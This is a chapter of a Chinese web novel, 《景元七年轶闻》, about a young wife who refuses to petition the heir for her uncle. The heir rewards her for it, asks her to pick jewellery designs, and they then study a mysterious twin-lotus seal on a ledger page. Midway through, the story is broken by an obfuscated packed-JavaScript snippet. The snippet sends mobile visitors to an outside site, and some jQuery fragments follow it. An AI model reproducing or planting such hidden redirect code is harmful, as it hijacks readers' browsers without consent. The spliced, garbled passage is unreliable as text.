68.第 68 章 赏赐
作品:《景元七年轶闻》 “这也太能算计了!”三奶奶听了这一层,气了起来。
“只要这件事情我们管了,今后二房会更加肆无忌惮,反正有我和老太爷给他托底。再想想,二房做出这样的事情,我都管了,若将来,大房有什么事情,我们管不管?大房和我们可还没有分家呢。那以后阮家但凡有什么事情,都是我的事情了,我是有什么举世无双的魅力,能将世子使唤得为我们家团团转吗?”
“是我欠妥了,这事儿不能给他办,我们不能管。”三奶奶终于醒悟。
“就算抛开我刚才说的一切都不考虑,这件事,我也不能和世子提。董家的案子,是世子一力牵扯出来的,现在正是查办的关键时候,他顶了多少压力,一点差错也容不得。说句不孝的话,就算今天在里面的是我爹、是老太爷,我也开不了这个口。更何况,世子是做大事情的人,绝不会为了个妾室在这时候自毁城墙。我便是糊涂开口,也一点用没有的。”
“钰儿,你什么时候这样清楚了,以前总觉得你是小孩子,就算嫁人了,也让人不放心,今天听你说这些,我是知道,你真的长大了,以后就算离了光州,我也不必日夜悬心了。”三奶奶说着,眼圈又红起来,“我这一天也没来错,看到你,又听到你这些话,足够了。”
“娘,你回去也不必为难,别的人不必搭理,只去回老太爷的话,你只要说,是我说的,世子原先有打算用阮家做些生意上的大事,现在二老爷这样,不知道有没有妨碍,但怎么说都分家了,咱们家是咱们家,不过若是老太爷一味顾念二老爷,不顾大局不分轻重,那以后那些大事,世子还能不能放心交给阮家,就不好说了。”
三奶奶听了就要回去,“我这就回去,事儿毕竟是没成,留太久那边急了也不好。”
阮青钰送三奶奶出门,门一开,贺云晟就站在门口,卷秋在一旁急得冒汗。
“殿下怎么站在这儿,卷秋怎么不给殿下开门?”阮青钰赶紧行礼,三奶奶不知道要不要跪,还是跟着阮青钰行礼就行,一时间手足无措。
“不必行礼了,没有外人。是我知道阮三奶奶来了,不想打扰你们,没叫人开门。”
“这么热的天,殿下折煞妾身了。”阮青钰又行一礼。
“三奶奶来了钰儿高兴,用了膳再走吧。”
“世子殿下太客气了,我就是来看看钰儿,说两句话,这就回去了。”
“既如此,我就不勉强了”,他看向阮青钰,“叫人送阮三奶奶。”
“是,殿下。”
贺云晟点头示意,就自己进屋了。阮青钰叫卷秋去送三奶奶,自己回屋子,贺云晟没有这么早回来过,不知道什么事情。
“殿下,我没察觉殿下在外头,让殿下等了这么久,请殿下责罚。”阮青钰站在贺云晟下首。
“我也不无聊,你这一通话,我都听着呢,要不是这样,我都不知道你家还有人敢买董家的地。”
“殿下,我也是事后才知道,是齐管事来和我说有公文要押我二伯这样涉案的人入狱,我当时就说了,我们分家了,不必去管,我绝无纵容家人之意,若事先知道,断不会让家人这样做的。”
阮青钰已经跪下,这件事必须说清楚。董家的案子,从头到尾她都在参与,若是贺云晟误会她借机指使家人侥幸赚这种不明不白的钱,没有她的好果子吃。
“我都说了,我听到你刚才和阮三奶奶说的话了。”贺云晟知道她在紧张什么,但他既然听到了阮青钰给三奶奶剖析的那段话,就不会误解她。
相反,他觉得阮青钰很省心,他觉得可以给这样知趣的下属多一些脸面:“待会儿我会叫人送些上好的锦缎去阮家,阮老太爷是聪明人,不会难为你父母。”
“多谢殿下赏赐。”阮青钰诚心磕了头。
贺云晟说上好的锦缎,那自然是最好的。这不只是昂贵的资产,更是体面。
阮青钰从一开始就没有打算为二老爷求情,也没做别的惹麻烦的事情,她拎得清,给贺云晟省了糟心事儿。赏赐给了阮家,脸面是给阮青钰的,老太爷知道,虽然事情办不成,但阮青钰在世子跟前还是有体面的,就不会对三房不满。
“殿下这时候过来,是有什么事情吩咐吗?”
“有一样东西,我想让你参谋参谋。”
贺云晟拿出几张图纸铺在桌子上,阮青钰郑重去看,发现是首饰的图样,彩色工笔画,很生动。
“这是?”
“我让人在南方找了一些珍稀的玉石珍珠,想做一套头面,请了个老师傅,是百年匠家的传承人,手艺好,但毕竟年纪大了,已经很少亲自制作了,这会儿亲自过来定样式,就别让他等太久。这些是他画的图样,每一种都是独创,你觉得哪一个最好看?”
大夏禁海,但走私者很多,东南沿海的一些大商船上往往有海外诸国过来的奇珍异宝,贺云晟特意让人去找,也是有心了。阮青钰很清楚,这套首饰,是做给对贺云晟而言很要紧的人的。
“那要看是送给什么年纪的人,只是殿下的眼光这样好,哪里需要我来帮忙。”
“我倒是见惯了珍宝,说实话,这些对我来说,大差不差,女孩子喜欢什么样的,我真不知道,以前都是捡贵的买,这次寻来的珠宝只能做一套,样式还是慎重些,要是她不喜欢怎么办。”
“依我看,哪一样都好,只要是殿下选的,收的人一定喜欢。”
“你倒是会说话,你觉得这一张怎么样?”贺云晟拿起其中一张问阮青钰。
能看出这位老师傅是画了几种不同的风格,阮青钰本不想多嘴,但贺云晟拿的这一张图,实在不是她的喜好,她只能牵扯嘴角说:“好看。”
贺云晟察觉她的勉强,又换了一张,“这个呢?”
“嗯……”
贺云晟又换一张,“这个?”
“这个简洁大方又不失妩媚,玉石宝石的颜色和样式也相衬。”
“那就是这个。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053626|190233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“殿下,我只是我的偏好,你知道的,我没见过什么好东西,还是不要轻信我吧。”
“选样式未必需要见过多少,我能问的也只有你了,要我选,我看着没什么差别,就只能随便抽一样。”
阮青钰把其他的图纸都收起来交给贺云晟,却发现最后有一张小一些的纸夹在里面,不是首饰图样,上面记的是货品进出,像是账册的一页。
阮青钰拿起来看,贺云晟见了,接过来看了看,“华尚当铺的账册,这一份是抄页,应该是我拿图样的时候一起夹带了来。”
“殿下,这张抄页,是什么人给你的?”
“怎么?这抄页有问题?
“内容我看不太懂,殿下看这里,这个印记。”
阮青钰指着纸角上一处,贺云晟看到她指下依稀是一团朱砂,非常浅。
贺云晟:“像是别处的印泥沾上了一块。”
阮青钰:“应该是印章还没干的时候沾上了,但轮廓还算清楚,殿下看这像什么?”
贺云晟拿到阳光下举起来,“是一朵花?”
“殿下之前没有见过,不好分辨,若是见过这个印记清晰的样子,一眼就能看出来。”
贺云晟回头,“你见过?”
“殿下记得我曾说过,在董家内院偷……借账册时候遇到的蒙面女子吗?”
“董家下狱后,我问过那天的情形,范氏在院子里看到那个蒙面女子后呼救,那女子跃上屋顶跑了,侍卫护院离得远,没能抓住她。你是说,这朵花和那女子有关系?”
“那个女子拿刀威胁我时,我看清了她刀柄和刀身连接的地方,刻了一个图案,和这个是一模一样的。”
贺云晟又转过头去仔细分辨那团朱砂印记。
“是两朵并蒂而生的莲花。”
在阮青钰说出的那一刻,贺云晟就看出来了。
“安排到华尚当铺的是我的心腹之人周宁,不会有问题。”贺云晟背手踱步想了想,“这一整份抄页,很多张,是周宁最开始带回来的,我记得他说过,这份抄页来得十分巧合,如有天助。如果,这不是天助,而是有人刻意安排的呢?”
“我猜,有人发现这位周大人在查华尚当铺,就把董家相关的罪证设法交给了他。这个人应该不会是那个蒙面女子,那女子不识字,而她当时在范氏房中要找的,很可能就是我们要找的董大账册。也就是说,这两拨是一帮人,他们在暗中查董家,甚至帮了我们。”
“一帮人?查董家?”贺云晟面色微凝。
“殿下在担心什么?”
“我查董家,是奉陛下之意,有名分有人用,还有你帮我,尚且如此耗神费力,其他的还会有什么人能查得了董家?若是官场的人,为什么不能明着相帮,莫不是官场的人,那就更不该了,民间若有人能自行查一方侯府,怕不会是什么善茬。”
阮青钰看着那个印记,并蒂双莲,她忽然想起上一世的事情,难道会是那些人?

